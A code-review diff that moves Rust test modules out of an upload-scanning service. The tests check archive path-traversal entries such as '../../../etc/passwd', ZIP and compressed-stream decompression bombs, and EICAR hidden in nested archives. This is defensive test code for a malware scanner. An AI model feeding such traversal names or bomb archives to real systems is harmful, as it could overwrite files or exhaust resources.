| 1359 | - | SettlementCurrency::Usd => 1_250, | |
| 1360 | - | SettlementCurrency::Gbp => 2_500, | |
| 1361 | - | SettlementCurrency::Eur => 9_999, | |
| 1362 | - | _ => 0, | |
| 1363 | - | }; | |
| 1364 | - | assert_eq!( | |
| 1365 | - | total, expected, | |
| 1366 | - | "{currency} must see its own money and nobody else's" | |
| 1367 | - | ); | |
| 1368 | - | } | |
| 1369 | - | } | |
| 1370 | - | ||
| 1371 | - | #[test] | |
| 1372 | - | fn a_currency_the_account_does_not_hold_is_zero_rather_than_everything() { | |
| 1373 | - | let entries = mixed(); | |
| 1374 | - | let total = sum_in_currency( | |
| 1375 | - | entries.iter().map(|(c, a)| (c, *a)), | |
| 1376 | - | &SettlementCurrency::Nzd.to_stripe(), | |
| 1377 | - | ); | |
| 1378 | - | assert_eq!( | |
| 1379 | - | total, 0, | |
| 1380 | - | "an inverted filter would report 13,749 NZD cents the account never held" | |
| 1381 | - | ); | |
| 1382 | - | } | |
| 1383 | - | } | |
| 1299 | + | mod tests; |
| @@ -978,553 +978,4 @@ | |||
| 978 | 978 | } | |
| 979 | 979 | ||
| 980 | 980 | #[cfg(test)] | |
| 981 | - | mod tests { | |
| 982 | - | use super::*; | |
| 983 | - | use zip::write::SimpleFileOptions; | |
| 984 | - | ||
| 985 | - | fn make_zip(entries: &[(&str, &[u8])]) -> Vec<u8> { | |
| 986 | - | let buf = Vec::new(); | |
| 987 | - | let cursor = Cursor::new(buf); | |
| 988 | - | let mut writer = zip::ZipWriter::new(cursor); | |
| 989 | - | let options = | |
| 990 | - | SimpleFileOptions::default().compression_method(zip::CompressionMethod::Stored); | |
| 991 | - | for (name, data) in entries { | |
| 992 | - | writer.start_file(*name, options).unwrap(); | |
| 993 | - | std::io::Write::write_all(&mut writer, data).unwrap(); | |
| 994 | - | } | |
| 995 | - | writer.finish().unwrap().into_inner() | |
| 996 | - | } | |
| 997 | - | ||
| 998 | - | fn make_compressed_zip(entries: &[(&str, &[u8])]) -> Vec<u8> { | |
| 999 | - | let buf = Vec::new(); | |
| 1000 | - | let cursor = Cursor::new(buf); | |
| 1001 | - | let mut writer = zip::ZipWriter::new(cursor); | |
| 1002 | - | let options = | |
| 1003 | - | SimpleFileOptions::default().compression_method(zip::CompressionMethod::Deflated); | |
| 1004 | - | for (name, data) in entries { | |
| 1005 | - | writer.start_file(*name, options).unwrap(); | |
| 1006 | - | std::io::Write::write_all(&mut writer, data).unwrap(); | |
| 1007 | - | } | |
| 1008 | - | writer.finish().unwrap().into_inner() | |
| 1009 | - | } | |
| 1010 | - | ||
| 1011 | - | // Skip behavior | |
| 1012 | - | ||
| 1013 | - | #[test] | |
| 1014 | - | fn non_zip_skipped() { | |
| 1015 | - | let result = check_archive_safety(b"not a zip file", FileType::Download); | |
| 1016 | - | assert_eq!(result.verdict, LayerVerdict::Skip); | |
| 1017 | - | } | |
| 1018 | - | ||
| 1019 | - | #[test] | |
| 1020 | - | fn audio_non_zip_skipped() { | |
| 1021 | - | let result = check_archive_safety(b"audio data", FileType::Audio); | |
| 1022 | - | assert_eq!(result.verdict, LayerVerdict::Skip); | |
| 1023 | - | } | |
| 1024 | - | ||
| 1025 | - | // 7z / RAR: no pure-Rust bomb checker (R6-Sec-L2) | |
| 1026 | - | ||
| 1027 | - | #[test] | |
| 1028 | - | fn sevenzip_rejected_for_non_download() { | |
| 1029 | - | let data = [0x37, 0x7A, 0xBC, 0xAF, 0x27, 0x1C, 0, 0, 0, 0]; | |
| 1030 | - | let result = check_archive_safety(&data, FileType::Cover); | |
| 1031 | - | assert_eq!(result.verdict, LayerVerdict::Error); | |
| 1032 | - | } | |
| 1033 | - | ||
| 1034 | - | #[test] | |
| 1035 | - | fn sevenzip_allowed_for_download() { | |
| 1036 | - | // Download keeps the ClamAV backstop; the in-process layer doesn't reject. | |
| 1037 | - | let data = [0x37, 0x7A, 0xBC, 0xAF, 0x27, 0x1C, 0, 0, 0, 0]; | |
| 1038 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1039 | - | assert_ne!(result.verdict, LayerVerdict::Error); | |
| 1040 | - | } | |
| 1041 | - | ||
| 1042 | - | #[test] | |
| 1043 | - | fn rar_rejected_for_non_download() { | |
| 1044 | - | let data = [0x52, 0x61, 0x72, 0x21, 0x1A, 0x07, 0x00, 0, 0, 0]; | |
| 1045 | - | let result = check_archive_safety(&data, FileType::MediaImage); | |
| 1046 | - | assert_eq!(result.verdict, LayerVerdict::Error); | |
| 1047 | - | } | |
| 1048 | - | ||
| 1049 | - | #[test] | |
| 1050 | - | fn cover_zip_skipped() { | |
| 1051 | - | // A ZIP file claimed as cover should be skipped (layer 1 handles type mismatch) | |
| 1052 | - | let data = make_zip(&[("test.txt", b"hello")]); | |
| 1053 | - | let result = check_archive_safety(&data, FileType::Cover); | |
| 1054 | - | assert_eq!(result.verdict, LayerVerdict::Skip); | |
| 1055 | - | } | |
| 1056 | - | ||
| 1057 | - | // Valid archives | |
| 1058 | - | ||
| 1059 | - | #[test] | |
| 1060 | - | fn valid_zip_passes() { | |
| 1061 | - | let data = make_zip(&[("test.txt", b"hello world")]); | |
| 1062 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1063 | - | assert_eq!(result.verdict, LayerVerdict::Pass); | |
| 1064 | - | } | |
| 1065 | - | ||
| 1066 | - | #[test] | |
| 1067 | - | fn empty_zip_passes() { | |
| 1068 | - | let buf = Vec::new(); | |
| 1069 | - | let cursor = Cursor::new(buf); | |
| 1070 | - | let writer = zip::ZipWriter::new(cursor); | |
| 1071 | - | let data = writer.finish().unwrap().into_inner(); | |
| 1072 | - | // Empty ZIPs may not have the PK magic at offset 0, they'd just be | |
| 1073 | - | // an end-of-central-directory record. If it doesn't start with PK 03 04, | |
| 1074 | - | // we'll skip it. That's fine. | |
| 1075 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1076 | - | // Either Skip (no local file header) or Pass (valid empty ZIP) | |
| 1077 | - | assert!( | |
| 1078 | - | result.verdict == LayerVerdict::Skip || result.verdict == LayerVerdict::Pass, | |
| 1079 | - | "unexpected verdict: {:?}", | |
| 1080 | - | result.verdict | |
| 1081 | - | ); | |
| 1082 | - | } | |
| 1083 | - | ||
| 1084 | - | #[test] | |
| 1085 | - | fn multi_entry_zip_passes() { | |
| 1086 | - | let data = make_zip(&[ | |
| 1087 | - | ("file1.txt", b"content one"), | |
| 1088 | - | ("subdir/file2.txt", b"content two"), | |
| 1089 | - | ("readme.md", b"# hello"), | |
| 1090 | - | ]); | |
| 1091 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1092 | - | assert_eq!(result.verdict, LayerVerdict::Pass); | |
| 1093 | - | assert!(result.detail.unwrap().contains("3 entries")); | |
| 1094 | - | } | |
| 1095 | - | ||
| 1096 | - | // Path traversal | |
| 1097 | - | ||
| 1098 | - | #[test] | |
| 1099 | - | fn zip_with_forward_slash_traversal_fails() { | |
| 1100 | - | let data = make_zip(&[("../../../etc/passwd", b"pwned")]); | |
| 1101 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1102 | - | assert_eq!(result.verdict, LayerVerdict::Fail); | |
| 1103 | - | assert!(result.detail.unwrap().contains("Path traversal")); | |
| 1104 | - | } | |
| 1105 | - | ||
| 1106 | - | #[test] | |
| 1107 | - | fn zip_with_backslash_traversal_fails() { | |
| 1108 | - | let data = make_zip(&[("..\\..\\Windows\\System32\\config", b"pwned")]); | |
| 1109 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1110 | - | assert_eq!(result.verdict, LayerVerdict::Fail); | |
| 1111 | - | assert!(result.detail.unwrap().contains("Path traversal")); | |
| 1112 | - | } | |
| 1113 | - | ||
| 1114 | - | #[test] | |
| 1115 | - | fn zip_with_mid_path_traversal_fails() { | |
| 1116 | - | let data = make_zip(&[("safe/../../etc/passwd", b"pwned")]); | |
| 1117 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1118 | - | assert_eq!(result.verdict, LayerVerdict::Fail); | |
| 1119 | - | } | |
| 1120 | - | ||
| 1121 | - | #[test] | |
| 1122 | - | fn zip_with_url_encoded_traversal_fails() { | |
| 1123 | - | // %2e%2e is URL-encoded "..". The check is case-insensitive on the encoding. | |
| 1124 | - | let data = make_zip(&[("%2E%2E/secrets", b"pwned")]); | |
| 1125 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1126 | - | assert_eq!(result.verdict, LayerVerdict::Fail); | |
| 1127 | - | assert!(result.detail.unwrap().contains("Path traversal")); | |
| 1128 | - | } | |
| 1129 | - | ||
| 1130 | - | #[test] | |
| 1131 | - | fn zip_with_absolute_path_fails() { | |
| 1132 | - | let data = make_zip(&[("/etc/passwd", b"pwned")]); | |
| 1133 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1134 | - | assert_eq!(result.verdict, LayerVerdict::Fail); | |
| 1135 | - | assert!(result.detail.unwrap().contains("Path traversal")); | |
| 1136 | - | } | |
| 1137 | - | ||
| 1138 | - | #[test] | |
| 1139 | - | fn zip_with_null_byte_in_name_fails() { | |
| 1140 | - | let data = make_zip(&[("legit.txt\0../escape", b"pwned")]); | |
| 1141 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1142 | - | assert_eq!(result.verdict, LayerVerdict::Fail); | |
| 1143 | - | assert!(result.detail.unwrap().contains("Path traversal")); | |
| 1144 | - | } | |
| 1145 | - | ||
| 1146 | - | // Nesting detection | |
| 1147 | - | ||
| 1148 | - | // Nested-archive interior scanning (`scan_nested_contents`) | |
| 1149 | - | // | |
| 1150 | - | // The old behavior here merely *counted* nested-archive entries and failed a | |
| 1151 | - | // ZIP with more than `SCAN_ZIP_MAX_DEPTH` of them, never inspecting their | |
| 1152 | - | // contents, counting is not scanning, so a payload in a zip-in-a-zip passed | |
| 1153 | - | // Clean (the run #20→#22 chronic). `check_archive_safety` no longer counts; | |
| 1154 | - | // interior coverage is `scan_nested_contents`, exercised below with the real | |
| 1155 | - | // rule set so an actual signature in a nested archive is caught or held. | |
| 1156 | - | ||
| 1157 | - | /// The compiled production YARA rules (includes the EICAR test signature). | |
| 1158 | - | fn test_yara_rules() -> yara_x::Rules { | |
| 1159 | - | super::super::yara::compile_rules_from_dir("yara-rules") | |
| 1160 | - | .expect("compile yara-rules") | |
| 1161 | - | .0 | |
| 1162 | - | .expect("yara-rules dir has rules") | |
| 1163 | - | } | |
| 1164 | - | ||
| 1165 | - | /// EICAR antivirus test string, matched by `yara-rules/mnw_test_files.yar`. | |
| 1166 | - | const EICAR: &[u8] = br"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"; | |
| 1167 | - | ||
| 1168 | - | #[test] | |
| 1169 | - | fn benign_nested_zip_passes() { | |
| 1170 | - | let inner = make_zip(&[("hello.txt", b"hello world")]); | |
| 1171 | - | let outer = make_zip(&[("inner.zip", &inner), ("notes.txt", b"readme")]); | |
| 1172 | - | let result = scan_nested_contents(&outer, Some(&test_yara_rules())); | |
| 1173 | - | assert_eq!(result.verdict, LayerVerdict::Pass, "{:?}", result.detail); | |
| 1174 | - | } | |
| 1175 | - | ||
| 1176 | - | #[test] | |
| 1177 | - | fn eicar_in_zip_in_zip_is_caught() { | |
| 1178 | - | // outer.zip -> inner.zip -> evil.txt(EICAR). The interior bytes must | |
| 1179 | - | // traverse YARA exactly as a top-level file would: not Clean. | |
| 1180 | - | let inner = make_zip(&[("evil.txt", EICAR)]); | |
| 1181 | - | let outer = make_zip(&[("inner.zip", &inner)]); | |
| 1182 | - | let result = scan_nested_contents(&outer, Some(&test_yara_rules())); | |
| 1183 | - | assert_eq!( | |
| 1184 | - | result.verdict, | |
| 1185 | - | LayerVerdict::Fail, | |
| 1186 | - | "EICAR nested two zips deep must be caught, got {:?}", | |
| 1187 | - | result.detail | |
| 1188 | - | ); | |
| 1189 | - | } | |
| 1190 | - | ||
| 1191 | - | #[test] | |
| 1192 | - | fn eicar_in_single_gzip_is_caught() { | |
| 1193 | - | // A standalone gzip member is one logical entry; its decompressed bytes | |
| 1194 | - | // must be scanned. | |
| 1195 | - | let gz = gzip(EICAR); | |
| 1196 | - | let result = scan_nested_contents(&gz, Some(&test_yara_rules())); | |
| 1197 | - | assert_eq!(result.verdict, LayerVerdict::Fail, "{:?}", result.detail); | |
| 1198 | - | } | |
| 1199 | - | ||
| 1200 | - | #[test] | |
| 1201 | - | fn nesting_beyond_scan_depth_is_held_not_passed() { | |
| 1202 | - | // SCAN_ZIP_MAX_DEPTH = 2. Wrap a benign file in enough ZIP layers that | |
| 1203 | - | // the innermost archive sits past the descent budget; the interior is | |
| 1204 | - | // not fully scanned, so it must fail closed (Error -> held), never Clean. | |
| 1205 | - | let mut nested = make_zip(&[("leaf.txt", b"benign")]); | |
| 1206 | - | for _ in 0..4 { | |
| 1207 | - | nested = make_zip(&[("inner.zip", &nested)]); | |
| 1208 | - | } | |
| 1209 | - | let result = scan_nested_contents(&nested, Some(&test_yara_rules())); | |
| 1210 | - | assert_eq!( | |
| 1211 | - | result.verdict, | |
| 1212 | - | LayerVerdict::Error, | |
| 1213 | - | "a nest deeper than the scan depth must be held, got {:?}", | |
| 1214 | - | result.detail | |
| 1215 | - | ); | |
| 1216 | - | assert_eq!( | |
| 1217 | - | super::super::error_policy_for(result.layer), | |
| 1218 | - | ErrorPolicy::FailClosed | |
| 1219 | - | ); | |
| 1220 | - | } | |
| 1221 | - | ||
| 1222 | - | #[test] | |
| 1223 | - | fn non_archive_has_no_interior() { | |
| 1224 | - | let result = scan_nested_contents(b"just some plain bytes", Some(&test_yara_rules())); | |
| 1225 | - | assert_eq!(result.verdict, LayerVerdict::Skip); | |
| 1226 | - | } | |
| 1227 | - | ||
| 1228 | - | #[test] | |
| 1229 | - | fn non_archive_extensions_ignored() { | |
| 1230 | - | let data = make_zip(&[ | |
| 1231 | - | ("app.exe", b"binary"), | |
| 1232 | - | ("readme.txt", b"hello"), | |
| 1233 | - | ("image.png", b"pixels"), | |
| 1234 | - | ]); | |
| 1235 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1236 | - | assert_eq!(result.verdict, LayerVerdict::Pass); | |
| 1237 | - | } | |
| 1238 | - | ||
| 1239 | - | // Compression ratio (ZIP bomb detection) | |
| 1240 | - | ||
| 1241 | - | #[test] | |
| 1242 | - | fn high_compression_ratio_fails() { | |
| 1243 | - | // Create highly compressible data: repeating zeros compress extremely well | |
| 1244 | - | // 1MB of zeros should compress to ~1KB with deflate, giving ratio ~1000x | |
| 1245 | - | let zeros = vec![0u8; 1024 * 1024]; | |
| 1246 | - | let data = make_compressed_zip(&[("bomb.bin", &zeros)]); | |
| 1247 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1248 | - | assert_eq!( | |
| 1249 | - | result.verdict, | |
| 1250 | - | LayerVerdict::Fail, | |
| 1251 | - | "Expected Fail for high compression ratio, got: {:?}", | |
| 1252 | - | result.detail | |
| 1253 | - | ); | |
| 1254 | - | assert!(result.detail.unwrap().contains("ZIP bomb")); | |
| 1255 | - | } | |
| 1256 | - | ||
| 1257 | - | #[test] | |
| 1258 | - | fn normal_compression_ratio_passes() { | |
| 1259 | - | // Random-ish data doesn't compress well, ratio should be ~1x | |
| 1260 | - | let data_bytes: Vec<u8> = (0..10000).map(|i| (i * 37 + 13) as u8).collect(); | |
| 1261 | - | let data = make_compressed_zip(&[("normal.bin", &data_bytes)]); | |
| 1262 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1263 | - | assert_eq!(result.verdict, LayerVerdict::Pass); | |
| 1264 | - | } | |
| 1265 | - | ||
| 1266 | - | // Audio file with ZIP magic (disguised archive) | |
| 1267 | - | ||
| 1268 | - | #[test] | |
| 1269 | - | fn zip_disguised_as_audio_checked() { | |
| 1270 | - | // A ZIP file claimed as Audio should still be checked (not skipped) | |
| 1271 | - | let data = make_zip(&[("test.txt", b"hello")]); | |
| 1272 | - | let result = check_archive_safety(&data, FileType::Audio); | |
| 1273 | - | assert_eq!(result.verdict, LayerVerdict::Pass); | |
| 1274 | - | } | |
| 1275 | - | ||
| 1276 | - | #[test] | |
| 1277 | - | fn zip_disguised_as_audio_with_traversal_fails() { | |
| 1278 | - | let data = make_zip(&[("../../../etc/passwd", b"pwned")]); | |
| 1279 | - | let result = check_archive_safety(&data, FileType::Audio); | |
| 1280 | - | assert_eq!(result.verdict, LayerVerdict::Fail); | |
| 1281 | - | } | |
| 1282 | - | ||
| 1283 | - | // Corrupted ZIP | |
| 1284 | - | ||
| 1285 | - | #[test] | |
| 1286 | - | fn corrupted_zip_magic_returns_error() { | |
| 1287 | - | // Valid ZIP magic bytes but garbage after | |
| 1288 | - | let mut data = vec![0x50, 0x4B, 0x03, 0x04]; | |
| 1289 | - | data.extend_from_slice(&[0xFF; 100]); | |
| 1290 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1291 | - | assert_eq!(result.verdict, LayerVerdict::Error); | |
| 1292 | - | assert!(result.detail.unwrap().contains("Failed to parse ZIP")); | |
| 1293 | - | } | |
| 1294 | - | ||
| 1295 | - | #[test] | |
| 1296 | - | fn path_entry_matches_buffered_for_non_zip() { | |
| 1297 | - | let data = b"not a zip at all"; | |
| 1298 | - | let buffered = check_archive_safety(data, FileType::Download); | |
| 1299 | - | let tmp = tempfile::NamedTempFile::new().unwrap(); | |
| 1300 | - | std::fs::write(tmp.path(), data).unwrap(); | |
| 1301 | - | let path_based = check_archive_safety_path(tmp.path(), FileType::Download); | |
| 1302 | - | assert_eq!(buffered.verdict, path_based.verdict); | |
| 1303 | - | assert_eq!(buffered.verdict, LayerVerdict::Skip); | |
| 1304 | - | } | |
| 1305 | - | ||
| 1306 | - | #[test] | |
| 1307 | - | fn path_entry_matches_buffered_for_cover_skip() { | |
| 1308 | - | let mut data = vec![0x50, 0x4B, 0x03, 0x04]; | |
| 1309 | - | data.extend_from_slice(&[0xFF; 100]); | |
| 1310 | - | let buffered = check_archive_safety(&data, FileType::Cover); | |
| 1311 | - | let tmp = tempfile::NamedTempFile::new().unwrap(); | |
| 1312 | - | std::fs::write(tmp.path(), &data).unwrap(); | |
| 1313 | - | let path_based = check_archive_safety_path(tmp.path(), FileType::Cover); | |
| 1314 | - | assert_eq!(buffered.verdict, path_based.verdict); | |
| 1315 | - | assert_eq!(buffered.verdict, LayerVerdict::Skip); | |
| 1316 | - | } | |
| 1317 | - | ||
| 1318 | - | // Single-stream decompression bombs (gzip / bzip2 / xz / zstd) | |
| 1319 | - | ||
| 1320 | - | use std::io::Write; | |
| 1321 | - | ||
| 1322 | - | fn gzip(data: &[u8]) -> Vec<u8> { | |
| 1323 | - | let mut e = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::best()); | |
| 1324 | - | e.write_all(data).unwrap(); | |
| 1325 | - | e.finish().unwrap() | |
| 1326 | - | } | |
| 1327 | - | fn bzip2_compress(data: &[u8]) -> Vec<u8> { | |
| 1328 | - | let mut e = bzip2::write::BzEncoder::new(Vec::new(), bzip2::Compression::new(9)); | |
| 1329 | - | e.write_all(data).unwrap(); | |
| 1330 | - | e.finish().unwrap() | |
| 1331 | - | } | |
| 1332 | - | fn xz(data: &[u8]) -> Vec<u8> { | |
| 1333 | - | let mut e = xz2::write::XzEncoder::new(Vec::new(), 9); | |
| 1334 | - | e.write_all(data).unwrap(); | |
| 1335 | - | e.finish().unwrap() | |
| 1336 | - | } | |
| 1337 | - | fn zstd_compress(data: &[u8]) -> Vec<u8> { | |
| 1338 | - | zstd::encode_all(data, 19).unwrap() | |
| 1339 | - | } | |
| 1340 | - | ||
| 1341 | - | /// 8 MiB of zeros, compresses to a tiny stream at a ratio far above the | |
| 1342 | - | /// 100x cap, the canonical decompression-bomb shape. | |
| 1343 | - | fn bomb_payload() -> Vec<u8> { | |
| 1344 | - | vec![0u8; 8 * 1024 * 1024] | |
| 1345 | - | } | |
| 1346 | - | ||
| 1347 | - | /// Moderately-incompressible data: stays well under the ratio cap, so a | |
| 1348 | - | /// legitimate compressed download passes. | |
| 1349 | - | fn benign_payload() -> Vec<u8> { | |
| 1350 | - | (0..200_000u32) | |
| 1351 | - | .map(|i| (i.wrapping_mul(2_654_435_761) >> 13) as u8) | |
| 1352 | - | .collect() | |
| 1353 | - | } | |
| 1354 | - | ||
| 1355 | - | #[test] | |
| 1356 | - | fn gzip_bomb_fails() { | |
| 1357 | - | let data = gzip(&bomb_payload()); | |
| 1358 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1359 | - | assert_eq!( | |
| 1360 | - | result.verdict, | |
| 1361 | - | LayerVerdict::Fail, | |
| 1362 | - | "detail: {:?}", | |
| 1363 | - | result.detail | |
| 1364 | - | ); | |
| 1365 | - | assert!(result.detail.unwrap().to_lowercase().contains("bomb")); | |
| 1366 | - | } | |
| 1367 | - | ||
| 1368 | - | #[test] | |
| 1369 | - | fn benign_gzip_passes() { | |
| 1370 | - | let data = gzip(&benign_payload()); | |
| 1371 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1372 | - | assert_eq!( | |
| 1373 | - | result.verdict, | |
| 1374 | - | LayerVerdict::Pass, | |
| 1375 | - | "detail: {:?}", | |
| 1376 | - | result.detail | |
| 1377 | - | ); | |
| 1378 | - | } | |
| 1379 | - | ||
| 1380 | - | #[test] | |
| 1381 | - | fn bzip2_bomb_fails() { | |
| 1382 | - | let data = bzip2_compress(&bomb_payload()); | |
| 1383 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1384 | - | assert_eq!( | |
| 1385 | - | result.verdict, | |
| 1386 | - | LayerVerdict::Fail, | |
| 1387 | - | "detail: {:?}", | |
| 1388 | - | result.detail | |
| 1389 | - | ); | |
| 1390 | - | } | |
| 1391 | - | ||
| 1392 | - | #[test] | |
| 1393 | - | fn xz_bomb_fails() { | |
| 1394 | - | let data = xz(&bomb_payload()); | |
| 1395 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1396 | - | assert_eq!( | |
| 1397 | - | result.verdict, | |
| 1398 | - | LayerVerdict::Fail, | |
| 1399 | - | "detail: {:?}", | |
| 1400 | - | result.detail | |
| 1401 | - | ); | |
| 1402 | - | } | |
| 1403 | - | ||
| 1404 | - | #[test] | |
| 1405 | - | fn zstd_bomb_fails() { | |
| 1406 | - | let data = zstd_compress(&bomb_payload()); | |
| 1407 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1408 | - | assert_eq!( | |
| 1409 | - | result.verdict, | |
| 1410 | - | LayerVerdict::Fail, | |
| 1411 | - | "detail: {:?}", | |
| 1412 | - | result.detail | |
| 1413 | - | ); | |
| 1414 | - | } | |
| 1415 | - | ||
| 1416 | - | #[test] | |
| 1417 | - | fn gzip_bomb_caught_on_path_variant_too() { | |
| 1418 | - | let data = gzip(&bomb_payload()); | |
| 1419 | - | let tmp = tempfile::NamedTempFile::new().unwrap(); | |
| 1420 | - | std::fs::write(tmp.path(), &data).unwrap(); | |
| 1421 | - | let result = check_archive_safety_path(tmp.path(), FileType::Download); | |
| 1422 | - | assert_eq!( | |
| 1423 | - | result.verdict, | |
| 1424 | - | LayerVerdict::Fail, | |
| 1425 | - | "detail: {:?}", | |
| 1426 | - | result.detail | |
| 1427 | - | ); | |
| 1428 | - | } | |
| 1429 | - | ||
| 1430 | - | #[test] | |
| 1431 | - | fn gzip_bomb_skipped_for_cover() { | |
| 1432 | - | // Type mismatch is layer 1's job; the archive layer skips covers. | |
| 1433 | - | let data = gzip(&bomb_payload()); | |
| 1434 | - | let result = check_archive_safety(&data, FileType::Cover); | |
| 1435 | - | assert_eq!(result.verdict, LayerVerdict::Skip); | |
| 1436 | - | } | |
| 1437 | - | ||
| 1438 | - | // Prefixed / self-extracting ZIP (no offset-0 magic) | |
| 1439 | - | ||
| 1440 | - | #[test] | |
| 1441 | - | fn prefixed_zip_is_not_silently_skipped() { | |
| 1442 | - | // A real ZIP with arbitrary bytes prepended (the self-extracting-stub | |
| 1443 | - | // shape). It lacks the offset-0 PK\x03\x04 magic, so the old offset-0 | |
| 1444 | - | // gate would Skip it. The tail EOCD scan must catch it and hand it to | |
| 1445 | - | // inspect_zip, the security property is that it is NOT Skipped. | |
| 1446 | - | let zip = make_zip(&[("readme.txt", b"hello")]); | |
| 1447 | - | let mut data = b"MZ\x90\x00 this is a self-extracting stub padding ".to_vec(); | |
| 1448 | - | data.extend_from_slice(&zip); | |
| 1449 | - | ||
| 1450 | - | let result = check_archive_safety(&data, FileType::Download); | |
| 1451 | - | assert_ne!( | |
| 1452 | - | result.verdict, | |
| 1453 | - | LayerVerdict::Skip, | |
| 1454 | - | "prefixed ZIP must be inspected, not skipped; got {:?}", | |
| 1455 | - | result.detail | |
| 1456 | - | ); | |
| 1457 | - | ||
| 1458 | - | // And on the path variant. | |
| 1459 | - | let tmp = tempfile::NamedTempFile::new().unwrap(); | |
| 1460 | - | std::fs::write(tmp.path(), &data).unwrap(); | |
| 1461 | - | let path_based = check_archive_safety_path(tmp.path(), FileType::Download); | |
| 1462 | - | assert_ne!( | |
| 1463 | - | path_based.verdict, | |
| 1464 | - | LayerVerdict::Skip, | |
| 1465 | - | "detail: {:?}", | |
| 1466 | - | path_based.detail | |
| 1467 | - | ); | |
| 1468 | - | } | |
| 1469 | - | ||
| 1470 | - | #[test] | |
| 1471 | - | fn prefixed_zip_bomb_fails() { | |
| 1472 | - | // Prepend a stub to a high-ratio ZIP; it must still be caught. | |
| 1473 | - | let zeros = vec![0u8; 1024 * 1024]; | |
| 1474 | - | let zip = make_compressed_zip(&[("bomb.bin", &zeros)]); | |
| 1475 | - | let mut data = b"self-extracting stub ".to_vec(); | |
| 1476 | - | data.extend_from_slice(&zip); | |
| 1477 | - | let result = check_archive_safety(&data, FileType::Download); |
Lines truncated
| @@ -882,525 +882,4 @@ | |||
| 882 | 882 | } | |
| 883 | 883 | ||
| 884 | 884 | #[cfg(test)] | |
| 885 | - | mod tests { | |
| 886 | - | use super::*; | |
| 887 | - | ||
| 888 | - | #[test] | |
| 889 | - | fn layer_verdict_serializes_lowercase() { | |
| 890 | - | assert_eq!( | |
| 891 | - | serde_json::to_string(&LayerVerdict::Pass).unwrap(), | |
| 892 | - | "\"pass\"" | |
| 893 | - | ); | |
| 894 | - | assert_eq!( | |
| 895 | - | serde_json::to_string(&LayerVerdict::Fail).unwrap(), | |
| 896 | - | "\"fail\"" | |
| 897 | - | ); | |
| 898 | - | assert_eq!( | |
| 899 | - | serde_json::to_string(&LayerVerdict::Skip).unwrap(), | |
| 900 | - | "\"skip\"" | |
| 901 | - | ); | |
| 902 | - | assert_eq!( | |
| 903 | - | serde_json::to_string(&LayerVerdict::Error).unwrap(), | |
| 904 | - | "\"error\"" | |
| 905 | - | ); | |
| 906 | - | } | |
| 907 | - | ||
| 908 | - | #[test] | |
| 909 | - | fn scan_result_quarantined_on_any_fail() { | |
| 910 | - | let layers = [ | |
| 911 | - | LayerResult { | |
| 912 | - | layer: "test1", | |
| 913 | - | verdict: LayerVerdict::Pass, | |
| 914 | - | detail: None, | |
| 915 | - | }, | |
| 916 | - | LayerResult { | |
| 917 | - | layer: "test2", | |
| 918 | - | verdict: LayerVerdict::Fail, | |
| 919 | - | detail: Some("bad".to_string()), | |
| 920 | - | }, | |
| 921 | - | ]; | |
| 922 | - | let has_fail = layers.iter().any(|l| l.verdict == LayerVerdict::Fail); | |
| 923 | - | assert!(has_fail); | |
| 924 | - | } | |
| 925 | - | ||
| 926 | - | #[test] | |
| 927 | - | fn panicked_sync_layer_is_held_for_review_not_clean() { | |
| 928 | - | // A file that panics a CPU parser must never come back Clean, it is | |
| 929 | - | // held for admin review, and the panic is contained in a returnable | |
| 930 | - | // result (not an `.expect` that would unwind the scan worker). | |
| 931 | - | let r = panicked_sync_result(4096); | |
| 932 | - | assert_eq!(r.status, FileScanStatus::HeldForReview); | |
| 933 | - | assert_eq!(r.file_size, 4096); | |
| 934 | - | assert!(r.sha256.is_empty()); | |
| 935 | - | assert_eq!(r.layers.len(), 1); | |
| 936 | - | assert_eq!(r.layers[0].verdict, LayerVerdict::Error); | |
| 937 | - | // The synthetic layer must resolve to a FailClosed policy (the default | |
| 938 | - | // for unregistered names), which is what makes final_status hold it. | |
| 939 | - | assert_eq!(error_policy_for(r.layers[0].layer), ErrorPolicy::FailClosed); | |
| 940 | - | } | |
| 941 | - | ||
| 942 | - | #[test] | |
| 943 | - | fn oversize_file_is_held_for_review_not_failed() { | |
| 944 | - | // A file above the spool ceiling is held for admin review (explicit, | |
| 945 | - | // documented policy) rather than failing the job and stranding the | |
| 946 | - | // upload in Pending. Verdict resolves to FailClosed -> HeldForReview. | |
| 947 | - | let huge = crate::constants::SCAN_SPOOL_MAX_BYTES + 1; | |
| 948 | - | let r = too_large_to_scan(huge); | |
| 949 | - | assert_eq!(r.status, FileScanStatus::HeldForReview); | |
| 950 | - | assert_eq!(r.file_size, huge); | |
| 951 | - | assert!(r.sha256.is_empty()); | |
| 952 | - | assert_eq!(r.layers[0].layer, "scan_size_limit"); | |
| 953 | - | assert_eq!(error_policy_for(r.layers[0].layer), ErrorPolicy::FailClosed); | |
| 954 | - | } | |
| 955 | - | ||
| 956 | - | #[test] | |
| 957 | - | fn sha256_computation() { | |
| 958 | - | let mut hasher = Sha256::new(); | |
| 959 | - | hasher.update(b"hello"); | |
| 960 | - | let hash = hex::encode(hasher.finalize()); | |
| 961 | - | assert_eq!( | |
| 962 | - | hash, | |
| 963 | - | "2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824" | |
| 964 | - | ); | |
| 965 | - | } | |
| 966 | - | ||
| 967 | - | // Pipeline integration tests | |
| 968 | - | ||
